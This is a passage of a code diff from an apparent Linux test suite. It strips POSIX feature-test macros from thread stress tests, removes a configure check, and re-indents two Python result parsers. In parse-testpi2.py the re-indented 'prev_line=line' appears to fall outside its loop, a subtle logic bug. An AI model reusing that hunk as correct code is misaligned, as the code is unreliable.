@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c
index ccefb7b..6a5c70a 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c
@@ -31,13 +31,6 @@
  *      -> free memory
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need XSI conformance for memory limitation */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c
index 005f63f..9ab252a 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c
@@ -23,9 +23,6 @@
  * -> the whole process stop when receiving signal SIGUSR1
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/NOTES
index 05de1c5..e03784d 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c
index 2d8e4b4..2b01211 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c
@@ -32,13 +32,6 @@
  *     -> To be defined.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE 600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c
index cb195e0..197372b 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c
@@ -50,15 +50,7 @@
  * To test for pshared primitive, thread B could be in another process.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
@@ -120,15 +112,6 @@
 /***********************************    Test case   *****************************************/
 /********************************************************************************************/
 
-#ifdef WITHOUT_XOPEN
-/* We define those to avoid compilation errors, but they won't be used */
-#define PTHREAD_MUTEX_DEFAULT 0
-#define PTHREAD_MUTEX_NORMAL 0
-#define PTHREAD_MUTEX_ERRORCHECK 0
-#define PTHREAD_MUTEX_RECURSIVE 0
-
-#endif
-
 struct _scenar {
 	int m_type;		/* Mutex type to use */
 	int mc_pshared;		/* 0: mutex and cond are process-private (default) ~ !0: Both are process-shared, if supported */
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c
index cb3f8d0..d2bc38a 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c
@@ -28,13 +28,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
@@ -95,15 +88,6 @@
 /***********************************    Test case   *****************************************/
 /********************************************************************************************/
 
-#ifdef WITHOUT_XOPEN
-/* We define those to avoid compilation errors, but they won't be used */
-#define PTHREAD_MUTEX_DEFAULT 0
-#define PTHREAD_MUTEX_NORMAL 0
-#define PTHREAD_MUTEX_ERRORCHECK 0
-#define PTHREAD_MUTEX_RECURSIVE 0
-
-#endif
-
 struct _scenar {
 	int m_type;		/* Mutex type to use */
 	int mc_pshared;		/* 0: mutex and cond are process-private (default) ~ !0: Both are process-shared, if supported */
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c
index cb3f8d0..7dfaa17 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c
@@ -28,13 +28,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c
index 0991407..e453c75 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c
@@ -51,14 +51,6 @@
  * To test for pshared primitive, thread B can be in another process.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c
index cb3f8d0..7dfaa17 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c
@@ -28,13 +28,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_create/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_create/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_create/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_create/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c b/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c
index e23303f..46235c5 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c
@@ -25,13 +25,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_exit/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_exit/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_exit/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_exit/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c
index c39bd7b..7905573 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c
@@ -26,13 +26,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for some routines */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c
index 7ef8dc4..248f37e 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c
@@ -26,9 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_kill/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_kill/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_kill/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_kill/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c
index 68490b5..b9d575e 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c
@@ -26,9 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/NOTES
index d65460c..79ec328 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c
index 0cd8710..04ccca9 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c
@@ -32,13 +32,6 @@
  * -> We could additionally lock each mutex after init, and unlock before destroy.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c
index 5baf7bd..bdf94be 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c
@@ -23,14 +23,6 @@
  * -> the whole process stop when receiving signal SIGUSR1
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/NOTES
index d65460c..79ec328 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c
index 27a7e46..0c52e4b 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c
@@ -30,14 +30,6 @@
  *       - if the counter equals the amount of threads,
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c
index 6ed139e..4e07738 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c
@@ -39,14 +39,6 @@
  *     the mutex threads queues mechanism, as the threads are always different.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c
index ec4673a..187568f 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c
@@ -39,14 +39,6 @@
  * NOTE: With gcc/linux, the flag "-lrt" must be specified at link time.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/NOTES
index d65460c..79ec328 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c
index 2ab25d7..e23e20b 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c
@@ -38,14 +38,7 @@
  * -> while we don't receive SIGUSR1
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_once/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_once/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_once/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_once/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c
index 35c79b6..9a693bf 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c
@@ -26,9 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_self/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_self/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_self/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_self/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c
index 7a71e45..1767040 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c
@@ -25,13 +25,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_getvalue/NOTES b/testcases/open_posix_testsuite/stress/threads/sem_getvalue/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/sem_getvalue/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/sem_getvalue/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_init/NOTES b/testcases/open_posix_testsuite/stress/threads/sem_init/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/sem_init/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/sem_init/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c b/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c
index 10faff7..4a5d9d8 100644
--- a/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c
+++ b/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c
@@ -25,9 +25,6 @@
 * or if the failure at last semaphore creation is unexpected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_open/NOTES b/testcases/open_posix_testsuite/stress/threads/sem_open/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/sem_open/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/sem_open/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c b/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c
index a9ef3ac..7a20b18 100644
--- a/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c
+++ b/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c
@@ -25,9 +25,6 @@
 * or if the failure at last semaphore creation is unexpected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/tools/t0.c b/testcases/open_posix_testsuite/tools/t0.c
index e8a07ae..0033635 100644
--- a/testcases/open_posix_testsuite/tools/t0.c
+++ b/testcases/open_posix_testsuite/tools/t0.c
@@ -33,9 +33,6 @@
  *
  */
 
-/* This utility should compile on any POSIX-conformant implementation. */
-#define _POSIX_C_SOURCE 200112L
-
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <errno.h>
diff --git a/testcases/realtime/00_Descriptions.txt b/testcases/realtime/00_Descriptions.txt
index 61aa88f..d7aa771 100644
--- a/testcases/realtime/00_Descriptions.txt
+++ b/testcases/realtime/00_Descriptions.txt
@@ -127,7 +127,7 @@
    twice.
 
 testpi-6.c:
-- Uses robust mutex lock (PTHREAD_MUTEX_ROBUST_NP) and uses test-skeleton for
+- Uses robust mutex lock (PTHREAD_MUTEX_ROBUST) and uses test-skeleton for
   other things.
 
 testpi-7.c:
@@ -168,7 +168,7 @@
 ====================================
 pthread_kill_latency.c:
 - Measures the latency involved in sending a signal to a thread using
-  pthread_kill.  Two threads are created - the one that recieves the signal
+  pthread_kill.  Two threads are created - the one that receives the signal
   (thread1) and other that sends signal (thread2).  Before sending the signal,
   the thread2 waits for thread1 to initialize, notes the time and sends
   pthread_kill signal to thread1.  Thread2, which has defined a handler for the
diff --git a/testcases/realtime/configure.ac b/testcases/realtime/configure.ac
index af2cbe4..3956773 100644
--- a/testcases/realtime/configure.ac
+++ b/testcases/realtime/configure.ac
@@ -38,27 +38,6 @@
 fi
 
 REALTIME_CHECK_PRIO_INHERIT
-
-if test "x$has_priority_inherit" = xyes; then
-
-	AC_MSG_CHECKING([for pthread mutex attr protocol functions])
-	AC_TRY_COMPILE([
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <pthread.h>],[int main(void) {
-	pthread_mutexattr_t attr;
-	(void) pthread_mutexattr_getprotocol(&attr, (void*) NULL);
-	(void) pthread_mutexattr_setprotocol(&attr, 0);
-	return 0;
-}],[has_pthread_mutexattr_protocol_functions="yes"])
-fi
-if test "x$has_pthread_mutexattr_protocol_functions" = "xyes" ; then
-	AC_DEFINE(HAS_PTHREAD_MUTEXATTR_PROTOCOL_FUNCTIONS,1,[Define to 1 if you have the pthread_mutexattr protocol APIs])
-	AC_MSG_RESULT(yes)
-else
-	AC_MSG_RESULT(no)
-fi
 REALTIME_CHECK_ROBUST_APIS
 
 LTP_CHECK_EXP10
diff --git a/testcases/realtime/func/pi-tests/parse-testpi1.py b/testcases/realtime/func/pi-tests/parse-testpi1.py
index df5ee68..740e7d1 100644
--- a/testcases/realtime/func/pi-tests/parse-testpi1.py
+++ b/testcases/realtime/func/pi-tests/parse-testpi1.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 # -*- coding: utf-8 -*-
 
 ################################################################################
@@ -38,16 +39,13 @@
 		exp3=re.compile("[1-9]\d{2,3}")
 		flag=False
 		for line in self.read():
-			 if exp1.search(line) and  exp2.search(prev_line)and exp3.search(prev_line):
-        	  	       list=prev_line.split(" ")
-	               	       if int(list[4])< 9900:
-			       		flag=True
-			       else:
+			if exp1.search(line) and  exp2.search(prev_line)and exp3.search(prev_line):
+				list=prev_line.split(" ")
+				if int(list[4])< 9900:
+					flag=True
+				else:
 					flag=False
-
-
-
-			 prev_line=line
+			prev_line=line
 		return flag
 
 def main():
diff --git a/testcases/realtime/func/pi-tests/parse-testpi2.py b/testcases/realtime/func/pi-tests/parse-testpi2.py
index 02db68c..69b2748 100644
--- a/testcases/realtime/func/pi-tests/parse-testpi2.py
+++ b/testcases/realtime/func/pi-tests/parse-testpi2.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 # -*- coding: utf-8 -*-
 
 ################################################################################
@@ -41,17 +42,17 @@
 		count=0
 		flag=True
 		for line in self.read():
-			 if exp1.search(line) and  exp2.search(prev_line)and exp3.search(prev_line):
-        	  	       list=prev_line.split(" ")
-	               	       if int(list[4])<= 9900:
-			       		count+=1
+			if exp1.search(line) and exp2.search(prev_line) and exp3.search(prev_line):
+				list=prev_line.split(" ")
+				if int(list[4])<= 9900:
+					count+=1
 					flag=True
-			       elif count == 0:
+				elif count == 0:
 					return False
 
 
 
-			 prev_line=line
+		prev_line=line
 		if count>=2:
 			return True
 		else:
@@ -66,4 +67,4 @@
